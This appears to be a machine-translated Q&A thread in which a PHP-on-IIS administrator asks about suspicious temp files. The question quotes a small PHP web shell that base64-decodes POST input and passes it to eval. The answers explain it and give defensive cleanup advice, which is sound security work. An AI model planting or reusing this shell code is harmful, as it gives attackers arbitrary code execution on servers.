2015-12-01 26 views
6

我已經注意到,我們的臨時目錄中有許多東西似乎與像phpA3F9.tmpPHP代碼

名稱展望,我覺得一個數字後面的內容臨時文件通過一些PHP代碼,下面的代碼將出現在幾個文件中

9990000  
<?php 
    $mujj = $_POST['z']; if ($mujj!="") { $xsser=base64_decode($_POST['z0']); @eval("\$safedg = $xsser;"); } ?> 

這似乎是一種攻擊嘗試,但我相信它依賴於攻擊者能夠在TMP文件夾中執行代碼。

有人可以解釋這裏發生了什麼嗎?有什麼風險?這些文件如何進入tmp文件夾?我該如何阻止他們?

我不知道,但如果是相關的,我們在IIS

運行PHP 5.5
+0

該文件名讓我想起了MSIE臨時文件 –

+0

也許它們被攻擊者上傳到服務器,並且如果你的'upload_tmp_dir'指向你的臨時目錄,似乎有人試圖將惡意代碼上傳到你的服務器。這些文件在腳本執行後被刪除。 – vitozev

回答

5

短篇小說:您的服務器可能已經被泄露。

這些都是PHP shell - 大部分都是無害的,但是如果它們進入你的web根目錄,它們將允許攻擊者在你的服務器上執行任意代碼。

理解外殼關鍵部件是:

$xsser=base64_decode($_POST['z0']); 
@eval("\$safedg = $xsser;"); 

它接受任何代碼從一個$_POST可變可言,base64_decode的IT,然後運行它通過eval同時抑制任何錯誤。

它們有可能通過網站上的表單上傳,並作爲中間步驟被轉儲到臨時文件夾中,希望它們能夠移入網絡可訪問的位置。另一種選擇是你的服務器上已經有了一個shell或rootkit,並且將這些文件放在它可以找到的任何可寫文件夾中。

那該怎麼辦呢?檢查你的服務器日誌 - 如果你看到任何成功的腳本連接,你不認識,你可能會被入侵。在您的網站上查找任何上傳表單,並將其鎖定(需要用戶身份驗證等),然後如果您確定自己已被盜用,請不要打擾進行清理。啓動一臺新服務器,將您的代碼,重要文件和數據清理清潔遷移到乾淨的服務器。

+0

很好地解釋了 –

+0

我曾經爲一家開發+託管公司工作,我們不得不將Joomla網站隔離到他們自己的服務器上,因爲每隔幾個星期,每個網站最終都會有一個'c99.php'(或類似的東西)的副本。他們進入一個站點,然後傳播到服務器上任何其他世界可寫的文件夾,從而能夠充當具有網站的任何用戶。我們最終運行了一個踐踏世界可寫文件夾的cron - 醜陋的,但它一次只包含一個網站的感染。 – samlev